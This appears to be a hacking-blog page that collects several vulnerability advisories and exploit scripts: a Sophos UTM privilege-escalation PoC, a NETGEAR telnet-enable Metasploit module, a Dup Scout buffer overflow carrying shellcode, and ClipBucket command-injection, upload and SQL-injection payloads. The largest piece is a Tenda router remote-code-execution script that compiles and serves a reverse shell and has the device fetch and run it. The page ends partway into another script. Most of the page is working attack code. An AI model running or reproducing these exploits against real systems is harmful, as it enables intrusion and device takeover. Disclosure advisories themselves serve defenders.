Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863562372

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

KL-001-2018-007 : Sophos UTM 9 loginuser Privilege Escalation via confd Service

Title: Sophos UTM 9 loginuser Privilege Escalation via confd Service
Advisory ID: KL-001-2018-007
Publication Date: 2018.03.02
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-007.txt


1. Vulnerability Details

     Affected Vendor: Sophos
     Affected Product: UTM 9
     Affected Version: 9.410
     Platform: Embedded Linux
     CWE Classification: CWE-306: Missing Authentication for Critical Function (SID generation)
     Impact: Privilege Escalation
     Attack vector: SSH

2. Vulnerability Description

     The attacker must know the password for the loginuser
     account. The confd client is not available to the loginuser
     account. However, the running service is accessible over
     a network port on the loopback interface. By replaying the
     network traffic required to obtain a SID from this service it
     is possible to escalate privileges to root.

3. Technical Description

     1. Obtain the a privileged session token

     $ ssh -Nf -L 127.0.0.1:4472:127.0.0.1:4472 loginuser@1.3.3.7
     loginuser@1.3.3.7's password:
     $ python kl-loginuser-confd-priv_esc.py
     pojiZSqWEUAUDNIQtSop

     2. Using that session token, set the root password

     POST /webadmin.plx HTTP/1.1
     Host: 1.3.3.7:4444
     User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko/20100101 Firefox/52.0
     Accept: text/javascript, text/html, application/xml, text/xml, */*
     Accept-Language: en-US,en;q=0.5
     X-Requested-With: XMLHttpRequest
     X-Prototype-Version: 1.5.1.1
     Content-Type: application/json; charset=UTF-8
     Referer: https://1.3.3.7:4444/
     Content-Length: 422
     Cookie: SID=pojiZSqWEUAUDNIQtSop
     DNT: 1
     Connection: close

     {"objs": [{"ack": null, "elements": {"root_pw_1": "korelogic", "root_pw_2": "korelogic", "loginuser_pw_1":
"loginuser", "loginuser_pw_2": "loginuser"}, "FID": "system_settings_shell"}], "SID": "pojiZSqWEUAUDNIQtSop", "browser":
"gecko", "backend_version": "2", "loc": "english", "_cookie": null, "wdebug": 0, "RID":
"1490305723111_0.8089407793028881", "current_uuid": "2844879a-e014-11da-b3ae-0014221e9eba", "ipv6": false}

     HTTP/1.1 200 OK
     Date: Thu, 23 Mar 2017 15:33:53 GMT
     Server: Apache
     Expires: Thursday, 01-Jan-1970 00:00:01 GMT
     Pragma: no-cache
     X-Frame-Options: SAMEORIGIN
     X-Content-Type-Option: nosniff
     X-XSS-Protection: 1; mode=block
     Vary: Accept-Encoding
     Connection: close
     Content-Type: application/json; charset=utf-8
     Content-Length: 178895

     {"SID":"pojiZSqWEUAUDNIQtSop","ipv6":false,"current_uuid":"2844879a-e014-11da-b3ae-0014221e9eba",[snip over 9000]

     3. Look for success message.

     "objs":[{"success":[{"text":"Shell user password(s) set successfully."}]

     4. Profit.

     loginuser@[redacted]:/home/login > su
     Password:
     [redacted]:/home/login # id
     uid=0(root) gid=0(root) groups=0(root),890(xorp)

4. Mitigation and Remediation Recommendation

     The vendor has addressed this vulnerability in version
     9.508. Release notes and download instructions can be found at:

     https://community.sophos.com/products/unified-threat-management/b/utm-blog/posts/utm-up2date-9-508-released


5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.07.21 - KoreLogic submits vulnerability details to Sophos.
     2017.07.21 - Sophos acknowledges receipt.
     2017.09.01 - 30 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2017.09.15 - KoreLogic requests an update on the status of this and
                  other vulnerabilities reported to Sophos.
     2017.09.18 - Sophos informs KoreLogic that this issue will require
                  additional engineering and requests an extension of
                  the disclosure timeline.
     2017.09.25 - 45 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2017.11.07 - 75 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2017.12.14 - 100 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2018.01.12 - KoreLogic requests an update from Sophos.
     2018.01.15 - Sophos informs KoreLogic that the expected release date
                  for the UTM 9.5 MR 6 version containing the mitigation
                  is the middle of February.
     2018.01.16 - 120 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2018.02.28 - 150 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2018.03.01 - UTM 9.508 released by Sophos.
     2018.03.02 - KoreLogic public disclosure.

7. Proof of Concept

from socket import socket,AF_INET,SOCK_STREAM

class Exploit:
    def __init__(self):
        self.host = '127.0.0.1'
        self.port = 4472
        self.connected = False
        self.s = None
        return None
    def disconnect(self):
        self.s.close()
        return True
    def send_trigger(self):
        packet_one =
'00000039050702000000050a0a43616c6c4d6574686f6404110b41737461726f3a3a52504303000000000a036765740a04697076360a06737461747573'.decode('hex')
        self.s.send(packet_one)
        self.s.recv(4096)
        packet_two =
'00000099050702000000040a094e657748616e646c650a037379730a036e65770403000000060a0f636f6e66642d636c69656e742e706c00000006636c69656e7417000000000870617373776f72640a093132372e302e302e31000000066173675f69700a093132372e302e302e31000000026970170673797374656d00000008757365726e616d65170673797374656d00000008666163696c697479'.decode('hex')
        self.s.send(packet_two)
        self.s.recv(4096)
        packet_three =
'0000002f05070200000003170a43616c6c4d6574686f6404110b41737461726f3a3a525043030000000017076765745f534944'.decode('hex')
        self.s.send(packet_three)
        print self.s.recv(4096).strip()
        return True
    def connect(self):
        self.s = socket(AF_INET, SOCK_STREAM)
        self.s.connect((self.host,self.port))
        self.connected = True
        return True
    def run(self):
        self.connect()
        self.send_trigger()
        self.disconnect()
        return True

if __name__=="__main__":
    Exploit().run()


The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Capture

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'NETGEAR TelnetEnable',
      'Description'        => %q{
        This module sends a magic packet to a NETGEAR device to enable telnetd.
        Upon successful connect, a root shell should be presented to the user.
      },
      'Author'             => [
        'Paul Gebheim', # Python PoC (TCP)
        'insanid',      # Python PoC (UDP)
        'wvu',          # Metasploit module
      ],
      'References'         => [
        ['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
        ['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
        ['URL', 'https://github.com/insanid/netgear-telenetenable']
      ],
      'DisclosureDate'     => 'Oct 30 2009', # Python PoC (TCP)
      'License'            => MSF_LICENSE,
      'Platform'           => 'unix',
      'Arch'               => ARCH_CMD,
      'Privileged'         => true,
      'Payload'            => {
        'Compat'           => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find'
        }
      },
      'Targets'            => [
        ['Automatic (detect TCP or UDP)',
          proto:    :auto
        ],
        ['TCP (typically older devices)',
          proto:    :tcp,
          username: 'Gearguy',
          password: 'Geardog'
        ],
        ['UDP (typically newer devices)',
          proto:    :udp,
          username: 'admin',
          password: 'password'
        ]
      ],
      'DefaultTarget'      => 0
    ))

    register_options([
      Opt::RPORT(23),
      OptString.new('MAC',      [false, 'MAC address of device']),
      OptString.new('USERNAME', [false, 'Username on device']),
      OptString.new('PASSWORD', [false, 'Password on device'])
    ])
  end

  def check
    # Run through protocol detection
    detect_proto

    # This is a gamble, but it's the closest we can get
    if @proto == :tcp
      CheckCode::Detected
    else
      CheckCode::Unknown
    end
  end

  def exploit
    # Try to do the exploit unless telnetd is detected
    @do_exploit = true

    # Detect TCP or UDP and presence of telnetd
    @proto = target[:proto]
    detect_proto if @proto == :auto

    # Use supplied or ARP-cached MAC address
    configure_mac if @do_exploit

    # Use supplied or default creds
    configure_creds if @do_exploit

    # Shell it
    exploit_telnetenabled if @do_exploit
    connect_telnetd
  end

  def detect_proto
    begin
      connect

      res = begin
        sock.get_once || ''
      rescue EOFError
        ''
      end

      # telnetenabled returns no data, unlike telnetd
      if res.length == 0
        print_good('Detected telnetenabled on TCP')
      else
        print_good('Detected telnetd on TCP')
        @do_exploit = false
      end

      @proto = :tcp
    # It's UDP... and we may not get an ICMP error...
    rescue Rex::ConnectionError
      print_good('Detected telnetenabled on UDP')
      @proto = :udp
    ensure
      disconnect
    end
  end

  def configure_mac
    @mac = datastore['MAC']

    return if @mac

    print_status('Attempting to discover MAC address via ARP')

    begin
      open_pcap
      @mac = lookup_eth(rhost).first
    rescue RuntimeError
      fail_with(Failure::BadConfig, 'Superuser access required')
    ensure
      close_pcap
    end

    if @mac
      print_good("Found MAC address #{@mac}")
    else
      fail_with(Failure::Unknown, 'Could not find MAC address')
    end
  end

  def configure_creds
    @username = datastore['USERNAME'] || target[:username]
    @password = datastore['PASSWORD'] || target[:password]

    # Try to use default creds if no creds were found
    unless @username && @password
      tgt = targets.find { |t| t[:proto] == @proto }
      @username = tgt[:username]
      @password = tgt[:password]
    end

    print_good("Using creds #{@username}:#{@password}")
  end

  def exploit_telnetenabled
    print_status('Generating magic packet')
    payload = magic_packet(@mac, @username, @password)

    begin
      print_status("Connecting to telnetenabled via #{@proto.upcase}")
      @proto == :tcp ? connect : connect_udp
      print_status('Sending magic packet')
      @proto == :tcp ? sock.put(payload) : udp_sock.put(payload)
    rescue Rex::ConnectionError
      fail_with(Failure::Disconnected, 'Something happened mid-connection!')
    ensure
      print_status('Disconnecting from telnetenabled')
      @proto == :tcp ? disconnect : disconnect_udp
    end

    # Wait a couple seconds for telnetd to come up
    print_status('Waiting for telnetd')
    sleep(2)
  end

  def connect_telnetd
    print_status('Connecting to telnetd')
    connect
    handler(sock)
  end

  # NOTE: This is almost a verbatim copy of the Python PoC
  def magic_packet(mac, username, password)
    mac = mac.gsub(/[:-]/, '').upcase

    if mac.length != 12
      fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
    end
    just_mac = mac.ljust(0x10, "\x00")

    if username.length > 0x10
      fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
    end
    just_username = username.ljust(0x10, "\x00")

    if @proto == :tcp
      if password.length > 0x10
        fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
      end
      just_password = password.ljust(0x10, "\x00")
    elsif @proto == :udp
      # Thanks to Roberto Frenna for the reserved field analysis
      if password.length > 0x21
        fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
      end
      just_password = password.ljust(0x21, "\x00")
    end

    cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
    md5_key = Rex::Text.md5_raw(cleartext)

    payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))

    secret_key = 'AMBIT_TELNET_ENABLE+' + password

    byte_swap(blowfish_encrypt(secret_key, payload))
  end

  def blowfish_encrypt(secret_key, payload)
    cipher = OpenSSL::Cipher.new('bf-ecb').encrypt

    cipher.padding = 0
    cipher.key_len = secret_key.length
    cipher.key     = secret_key

    cipher.update(payload) + cipher.final
  end

  def byte_swap(data)
    data.unpack('N*').pack('V*')
  end

end
            
#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: Dup Scout Enterprise 10.5.12 - Local Buffer Overflow
# Date: 02-22-2018
# Vulnerable Software: Dup Scout Enterprise v10.5.12
# Vendor Homepage: http://www.dupscout.com
# Version: 10.5.12
# Software Link: http://www.dupscout.com/downloads.html
# Tested On: Windows 7 x86
#
# bad chars \x00\x0a and everything above \x80
#
# PoC: 
# 1. generate dupscout.txt, copy contents to clipboard
# 2. open app, select Server, select Connect
# 3. type anything into Share Name, paste dupscout.txt contents into User Name
# 4. select Connect and then OK
# 5. pop calc
#

filename="dupscout.txt"

junk = "A"*792

#0x10021144 : push esp # ret  | ascii {PAGE_EXECUTE_READ} [libspg.dll]
eip = "\x44\x11\x02\x10"

fill = "\x43"*560

#msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe -e x86/alpha_mixed BufferRegister=ESP -f c
#Payload size: 440 bytes
calc = ("\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b"
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
"\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x6b\x58\x6b\x32\x53\x30"
"\x57\x70\x67\x70\x53\x50\x4e\x69\x39\x75\x54\x71\x39\x50\x61"
"\x74\x6c\x4b\x66\x30\x44\x70\x6c\x4b\x73\x62\x46\x6c\x6e\x6b"
"\x66\x32\x66\x74\x4e\x6b\x62\x52\x65\x78\x44\x4f\x78\x37\x72"
"\x6a\x46\x46\x44\x71\x6b\x4f\x4c\x6c\x57\x4c\x53\x51\x51\x6c"
"\x47\x72\x34\x6c\x47\x50\x69\x51\x6a\x6f\x64\x4d\x37\x71\x59"
"\x57\x6d\x32\x5a\x52\x51\x42\x61\x47\x4e\x6b\x36\x32\x44\x50"
"\x6c\x4b\x73\x7a\x55\x6c\x4c\x4b\x42\x6c\x52\x31\x63\x48\x6d"
"\x33\x32\x68\x43\x31\x5a\x71\x53\x61\x6c\x4b\x36\x39\x31\x30"
"\x73\x31\x4e\x33\x4c\x4b\x50\x49\x65\x48\x39\x73\x46\x5a\x37"
"\x39\x4e\x6b\x64\x74\x4e\x6b\x63\x31\x78\x56\x35\x61\x6b\x4f"
"\x6e\x4c\x39\x51\x7a\x6f\x46\x6d\x63\x31\x4b\x77\x50\x38\x6d"
"\x30\x32\x55\x79\x66\x35\x53\x71\x6d\x78\x78\x57\x4b\x61\x6d"
"\x35\x74\x70\x75\x69\x74\x30\x58\x4c\x4b\x30\x58\x31\x34\x75"
"\x51\x69\x43\x70\x66\x4c\x4b\x44\x4c\x50\x4b\x6c\x4b\x42\x78"
"\x75\x4c\x76\x61\x4e\x33\x4e\x6b\x57\x74\x4e\x6b\x55\x51\x6a"
"\x70\x4d\x59\x67\x34\x67\x54\x77\x54\x63\x6b\x53\x6b\x33\x51"
"\x42\x79\x73\x6a\x33\x61\x69\x6f\x59\x70\x61\x4f\x61\x4f\x42"
"\x7a\x6e\x6b\x34\x52\x58\x6b\x6e\x6d\x61\x4d\x62\x4a\x35\x51"
"\x4c\x4d\x4f\x75\x4f\x42\x73\x30\x33\x30\x63\x30\x46\x30\x42"
"\x48\x45\x61\x6e\x6b\x52\x4f\x4d\x57\x6b\x4f\x4a\x75\x4d\x6b"
"\x4c\x30\x58\x35\x39\x32\x51\x46\x51\x78\x49\x36\x4a\x35\x6f"
"\x4d\x4d\x4d\x59\x6f\x4a\x75\x55\x6c\x54\x46\x31\x6c\x65\x5a"
"\x6d\x50\x59\x6b\x49\x70\x31\x65\x37\x75\x4f\x4b\x73\x77\x62"
"\x33\x62\x52\x52\x4f\x53\x5a\x73\x30\x76\x33\x79\x6f\x68\x55"
"\x62\x43\x70\x61\x42\x4c\x35\x33\x76\x4e\x53\x55\x30\x78\x43"
"\x55\x43\x30\x41\x41")

buffer = junk + eip + calc + fill
 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
            
SEC Consult Vulnerability Lab Security Advisory < 20180227-0 >
=======================================================================
              title: OS command injection, arbitrary file upload & SQL injection
            product: ClipBucket
 vulnerable version: <4.0.0 - Release 4902
      fixed version: 4.0.0 - Release 4902
         CVE number: -
             impact: critical
           homepage: http://clipbucket.com/
              found: 2017-09-06
                 by: Ahmad Ramadhan Amizudin (Office Kuala Lumpur)
                     Wan Ikram (Office Kuala Lumpur)
                     Fikri Fadzil (Office Kuala Lumpur)
                     Jasveer Singh (Office Kuala Lumpur)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Luxembourg - Montreal
                     Moscow - Munich - Kuala Lumpur - Singapore
                     Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"ClipBucket is a free and open source software which helps us to create a
complete video sharing website like YouTube, Dailymotion, Metacafe, Veoh, Hulu
in few minutes of setup. It was first created in 2007 by Arslan Hassan and his
team of developers. ClipBucket was developed as a YouTube clone but has been
upgraded with advanced features and enhancements. It uses FFMPEG for video
conversion and thumbs generation which is the most widely used application so,
users can stream it straight away using the Video JS and HTML 5 Players."

Source: https://clipbucket.com/about


Business recommendation:
------------------------
By exploiting the vulnerabilities documented in this advisory, an attacker can
fully compromise the web server which has ClipBucket installed. Potentially
sensitive data might get exposed through this attack.

Users are advised to immediately install the patched version provided by the
vendor.


Vulnerability overview/description:
-----------------------------------
1. Unauthenticated OS Command Injection
Any OS commands can be injected by an unauthenticated attacker. This is a serious
vulnerability as the chances for the system to be fully compromised is very
high. This same vulnerability can also be exploited by authenticated attackers
with normal user privileges.

2. Unauthenticated Arbitrary File Upload
A malicious file can be uploaded into the webserver by an unauthenticated
attacker. It is possible for an attacker to upload a script to issue operating
system commands. This same vulnerability can also be exploited by an
authenticated attacker with normal user privileges.

3. Unauthenticated Blind SQL Injection
The identified SQL injection vulnerabilities enable an attacker to execute
arbitrary SQL commands on the underlying MySQL server.


Proof of concept:
-----------------
1. Unauthenticated OS Command Injection
Without having to authenticate, an attacker can exploit this vulnerability
by manipulating the "file_name" parameter during the file upload in the script
/api/file_uploader.php:

 $ curl -F "Filedata=@pfile.jpg" -F "file_name=aa.php ||<<COMMAND HERE>>"
http://$HOST/api/file_uploader.php


Alternatively, this vulnerability can also be exploited by authenticated basic
privileged users with the following payload by exploiting the same issue in
/actions/file_downloader.php:

$ curl --cookie "[--SNIP--]" --data "file=http://localhost/vid.mp4&file_name=abc
|| <<COMMAND HERE>>" "http://$HOST/actions/file_downloader.php"


2. Unauthenticated Arbitrary File Upload
Below is the cURL request to upload arbitrary files to the webserver with no
authentication required.

$ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php"
"http://$HOST/actions/beats_uploader.php"

$ curl -F "file=@pfile.php" -F "plupload=1" -F "name=anyname.php"
"http://$HOST/actions/photo_uploader.php"

Furthermore, this vulnerability is also available to authenticated users with
basic privileges:

$ curl --cookie "[--SNIP--]" -F
"coverPhoto=@valid-image-with-appended-phpcode.php"
"http://$HOST/edit_account.php?mode=avatar_bg"


3. Unauthenticated Blind SQL Injection
The following parameters have been identified to be vulnerable against
unauthenticated blind SQL injection.

URL     : http://$HOST/actions/vote_channel.php
METHOD  : POST
PAYLOAD : channelId=channelId=1-BENCHMARK(100000000, rand())

The source code excerpt below shows the vulnerable code
VULN. FILE : /actions/vote_channel.php
VULN. CODE :
[...]
$vote = $_POST["vote"];
$userid = $_POST["channelId"];
//if($userquery->login_check('',true)){
if($vote == "yes"){
    $query = "UPDATE " . tbl("users") . " SET voted = voted + 1, likes = likes + 1
WHERE userid = {$userid}";
}else{
    //$query = "UPDATE " . tbl("users") . " SET likes = likes (- 1) WHERE userid =
{$userid}";
    $sel = "Select userid,username,likes From ".tbl("users")." WHERE userid =
{$userid}";
    $result = $db->Execute($sel);
     foreach ($result as $row )
        $current_likes = $row['likes'];
        $decremented_like = $current_likes-1;
     $query = "Update ".tbl("users")." Set likes = $decremented_like Where userid
= $userid";
}
[...]

URL     : http://$HOST/ajax/commonAjax.php
METHOD  : POST
PAYLOAD : mode=emailExists&email=1' or '1'='1

The source code excerpt below shows the vulnerable code
VULN. FILE : /ajax/commonAjax.php
VULN. CODE :
[...]
$email = $_POST['email'];
$check = $db->select(tbl('users'),"email"," email='$email'");
if (!$check) {
    echo "NO";
}
[...]

URL     : http://$HOST/ajax/commonAjax.php
METHOD  : POST
PAYLOAD : mode=userExists&username=1' or '1'='1

The source code excerpt below shows the vulnerable code
VULN. FILE : /ajax/commonAjax.php
VULN. CODE :
[...]
$username = $_POST['username'];
$check = $db->select(tbl('users'),"username"," username='$username'");
if (!$check) {
    echo "NO";
}
[...]


Vulnerable / tested versions:
-----------------------------
Clipbucket version 2.8.3 and version 4.0.0 have been tested. These versions were
the latest at the time the security vulnerabilities were discovered.


Vendor contact timeline:
------------------------
2017-10-17: Contacting vendor through email.
2017-10-18: Vendor asking for additional details.
2017-10-19: Replied to vendor.
2017-10-26: Request update from vendor, no response.
2017-11-09: Request update from vendor.
2017-11-09: Vendor response with security patches.
2017-11-10: Notified vendor the security patches don't fix the reported issues
2017-11-30: Request update from vendor.
2017-11-30: Vendor requesting for support via Skype
2017-12-07: Response to vendor.
2018-01-22: Checking version 4.0.0, vulnerabilities not fixed, asking vendor again
2018-01-22: Vendor provides latest patches, scheduled for future release
2018-01-26: Verified that the patches don't fully mitigate all issues.
2018-01-29: Request update from vendor, no response.
2018-02-06: Request update from vendor, no response.
2018-02-08: Informing vendor of public release date
2018-02-08: Vendor: Stable v4.0 including security fixes will be released in
            two weeks; postponing once again for two weeks
2018-02-23: Request update from vendor.
2018-02-26: Vendor publishes v4.0
2018-02-27: Public release of security advisory



Solution:
---------
The vendor provided the following patched version:
https://github.com/arslancb/clipbucket/releases/download/4902/clipbucket-4902.zip


Workaround:
-----------
None


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal
Moscow - Munich - Kuala Lumpur - Singapore
Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
            
#!/usr/bin/env python
# EDB Note ~ Source: https://www.fidusinfosec.com/remote-code-execution-cve-2018-5767/
import urllib2
import struct
import time
import socket
from optparse import *
import SimpleHTTPServer
import SocketServer
import threading
import sys
import os
import subprocess
 
ARM_REV_SHELL = (
"#include <sys/socket.h>\n"
"#include <sys/types.h>\n"
"#include <string.h>\n"
"#include <stdio.h>\n"
"#include <netinet/in.h>\n"
"int main(int argc, char **argv)\n"
"{\n"
"           struct sockaddr_in addr;\n"
"           socklen_t addrlen;\n"
"           int sock = socket(AF_INET, SOCK_STREAM, 0);\n"
 
"           memset(&addr, 0x00, sizeof(addr));\n"
 
"           addr.sin_family = AF_INET;\n"
"           addr.sin_port = htons(%d);\n"
"           addr.sin_addr.s_addr = inet_addr(\"%s\");\n"
 
"           int conn = connect(sock, (struct sockaddr *)&addr,sizeof(addr));\n"
 
"           dup2(sock, 0);\n"
"           dup2(sock, 1);\n"
"           dup2(sock, 2);\n"
 
"           system(\"/bin/sh\");\n"
"}\n"
)
 
REV_PORT = 31337
HTTPD_PORT = 8888
DONE = False
 
"""
* This function creates a listening socket on port
* REV_PORT. When a connection is accepted it updates
* the global DONE flag to indicate successful exploitation.
* It then jumps into a loop whereby the user can send remote
* commands to the device, interacting with a spawned /bin/sh
* process.
"""
def threaded_listener():
            global DONE
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
           
            host = ("0.0.0.0", REV_PORT)
           
            try:
                        s.bind(host)
            except:
                        print "[+] Error binding to %d" %REV_PORT
                        return -1
 
 
            print "[+] Connect back listener running on port %d" %REV_PORT
           
            s.listen(1)
            conn, host = s.accept()
 
            #We got a connection, lets make the exploit thread aware
            DONE = True
 
            print "[+] Got connect back from %s" %host[0]
            print "[+] Entering command loop, enter exit to quit"
 
            #Loop continuosly, simple reverse shell interface.
            while True:
                        print "#",
                        cmd = raw_input()
                        if cmd == "exit":
                                    break
                        if cmd == '':
                                    continue
 
                        conn.send(cmd + "\n")
 
                        print conn.recv(4096)
 
"""
* Take the ARM_REV_SHELL code and modify it with
* the given ip and port to connect back to.
* This function then compiles the code into an
* ARM binary.
@Param comp_path – This should be the path of the cross-compiler.
@Param my_ip – The IP address of the system running this code.
"""
def compile_shell(comp_path, my_ip):
            global ARM_REV_SHELL
            outfile = open("a.c", "w")
 
            ARM_REV_SHELL = ARM_REV_SHELL%(REV_PORT, my_ip)
           
            outfile.write(ARM_REV_SHELL)
            outfile.close()
 
            compile_cmd = [comp_path, "a.c","-o", "a"]
 
            s = subprocess.Popen(compile_cmd, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
           
            while s.poll() == None:
                        continue
 
            if s.returncode == 0:
                        return True
            else:
                        print "[x] Error compiling code, check compiler? Read the README?"
                        return False
 
"""
* This function uses the SimpleHTTPServer module to create
* a http server that will serve our malicious binary.
* This function is called as a thread, as a daemon process.
"""
def start_http_server():
            Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
            httpd = SocketServer.TCPServer(("", HTTPD_PORT), Handler)
 
            print "[+] Http server started on port %d" %HTTPD_PORT
            httpd.serve_forever()
           
 
"""
* This function presents the actual vulnerability exploited.
* The Cookie header has a password field that is vulnerable to
* a sscanf buffer overflow, we make use of 2 ROP gadgets to
* bypass DEP/NX, and can brute force ASLR due to a watchdog
* process restarting any processes that crash.
* This function will continually make malicious requests to the
* devices web interface until the DONE flag is set to True.
@Param host – the ip address of the target.
@Param port – the port the webserver is running on.
@Param my_ip – The ip address of the attacking system.
"""
def exploit(host, port, my_ip):
            global DONE
            url = "http://%s:%s/goform/exeCommand"%(host, port)
            i = 0
 
            command = "wget http://%s:%s/a -O /tmp/a && chmod 777 /tmp/a && /tmp/./a &;" %(my_ip, HTTPD_PORT)
 
            #Guess the same libc base continuosly
            libc_base = ****
            curr_libc = libc_base + (0x7c << 12)
 
            system = struct.pack("<I", curr_libc + ****)
 
            #: pop {r3, r4, r7, pc}
            pop = struct.pack("<I", curr_libc + ****)
            #: mov r0, sp ; blx r3
            mv_r0_sp = struct.pack("<I", curr_libc + ****)
 
            password = "A"*offset
            password += pop + system + "B"*8 + mv_r0_sp + command + ".gif"
 
            print "[+] Beginning brute force."
            while not DONE:
                        i += 1                 
                        print "[+] Attempt %d" %i
 
                        #build the request, with the malicious password field
                        req = urllib2.Request(url)                     
                        req.add_header("Cookie", "password=%s"%password)
 
                        #The request will throw an exception when we crash the server,
                        #we don't care about this, so don't handle it.
                        try:
                                    resp = urllib2.urlopen(req)
                        except:
                                    pass
 
                        #Give the device some time to restart the
                        time.sleep(1)
 
            print "[+] Exploit done"
 
 
def main():
            parser = OptionParser()
            parser.add_option("-t", "–target", dest="host_ip", help="IP address of the target")
            parser.add_option("-p", "–port", dest="host_port", help="Port of the targets webserver")
            parser.add_option("-c", "–comp-path", dest="compiler_path", help="path to arm cross compiler")
            parser.add_option("-m", "–my-ip", dest="my_ip", help="your ip address")
 
            options, args = parser.parse_args()
 
            host_ip = options.host_ip
            host_port = options.host_port
            comp_path = options.compiler_path
            my_ip = options.my_ip
 
            if host_ip == None or host_port == None:
                        parser.error("[x] A target ip address (-t) and port (-p) are required")
 
            if comp_path == None:
                        parser.error("[x] No compiler path specified, you need a uclibc arm cross compiler, such as https://www.uclibc.org/downloads/binaries/0.9.30/cross-compiler-arm4l.tar.bz2")
 
            if my_ip == None:
                        parser.error("[x] Please pass your ip address (-m)")
 
 
            if not compile_shell(comp_path, my_ip):
                        print "[x] Exiting due to error in compiling shell"
                        return -1
 
            httpd_thread = threading.Thread(target=start_http_server)
            httpd_thread.daemon = True
            httpd_thread.start()
           
            conn_listener = threading.Thread(target=threaded_listener)
            conn_listener.start()
 
            #Give the thread a little time to start up, and fail if that happens
            time.sleep(3)
 
            if not conn_listener.is_alive():
                        print "[x] Exiting due to conn_listener error"
                        return -1
           
 
            exploit(host_ip, host_port, my_ip)
           
           
            conn_listener.join()
           
            return 0
 
           
 
if __name__ == '__main__':
            main()
            
#!/usr/bin/python2
# -*- coding:utf-8 -*-
'''

                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
